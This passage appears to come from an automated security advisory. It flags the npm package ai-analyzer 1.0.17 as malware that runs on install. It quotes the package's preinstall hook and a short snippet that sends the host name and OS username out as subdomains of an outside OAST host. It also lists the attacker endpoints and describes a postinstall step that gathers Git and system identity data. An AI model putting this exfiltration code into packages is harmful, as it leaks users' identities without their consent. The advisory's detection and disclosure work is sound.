It also persists additional system and Git identity data in a temporary log. - **Trigger:** npm preinstall during package installation - **Impact:** Unconsented disclosure of host and user identity during installation. - **Evidence paths:** package.json, preinstall.js, postinstall.js, index.js, bin/cli.js, README.md - **Review source:** ai\_review - **Reviewed:** 2026-08-13T16:44:23.203Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** host/user identifier exfiltration through attacker-controlled DNS/HTTPS subdomains - **Attack narrative:** On npm installation, package.json invokes preinstall.js. That script derives requests from os.hostname() and os.userInfo().username(), appends an OAST domain suffix, and issues HTTPS GET requests. This leaks identifying host and username values without a user command or package function call. Postinstall separately harvests broader system, proxy, registry, and Git identity data into a temporary file. - **Rationale:** The automatic preinstall network requests encode local identity data into attacker-observable OAST subdomains. This is a concrete unconsented install-time exfiltration chain. - **Files touched:** preinstall.js, postinstall.js, \/ai-analyzer-logs/postinstall-\*.json - **Network endpoints:** https://\*.xstm5ywkgkh0fi1694d2u9ykbbh25vtk.oastify.com/test-connection, https://ai.calif-pentest.com/api/v1/ai-analyzer ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** npm preinstall executes preinstall.js automatically., Preinstall sends hostname and OS username as OAST subdomains over HTTPS., Postinstall collects user, home, proxy, registry, and Git identity data. - **Evidence against:** CLI file upload is user-invoked., Postinstall only writes its collected data locally in the inspected source. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 3. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js 2>/dev/null || true ``` ### 4. Low: Non Install Lifecycle Scripts - **Category:** Manifest - **Confidence:** 80.0% Package declares lifecycle scripts that are not normally run for registry tarball installs. ### 5. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 6. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 7. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 8. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 9. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 10. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** postinstall.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = ai-analyzer@1.0.19 matchedPath = postinstall.js matchedIdentity = npm:YWktYW5hbHl6ZXI:1.0.19 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() npm preinstall executes preinstall.js automatically. Public source snippet (untrusted): ```json "preinstall": "node preinstall.js 2>/dev/null || node -e \"console.log('Pre-install check')\"", "postinstall": "node postinstall.js 2>/dev/null || true" ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** preinstall.js - **Public source:** [View source]() Preinstall sends hostname and OS username as OAST subdomains over HTTPS. Public source snippet (untrusted): ```javascript const domain = '.[redacted].oastify.com' const subdomains = [ os.hostname() + domain, os.userInfo().username + domain, ]; subdomains.forEach(checkConnection); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall, prepare, prepublishOnly - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - https-proxy-agent ^7.0.6 (Dependency) ## Package metadata - **Package:** ai-analyzer - **Ecosystem:** npm - **Version:** 1.0.17 - **License:** MIT - **Version published:** 2026-08-13T08:50:48.050Z - **Package first seen:** 2026-08-13T15:54:37.048Z - **Package last seen:** 2026-08-13T23:45:11.380Z - **Known versions:** 21 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Usage: npx ai-analyzer analyze-phishing \ - **Keywords:** ai-analyzer, utilities - **Artifact files:** 10 - **Artifact unpacked size:** 8,628 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
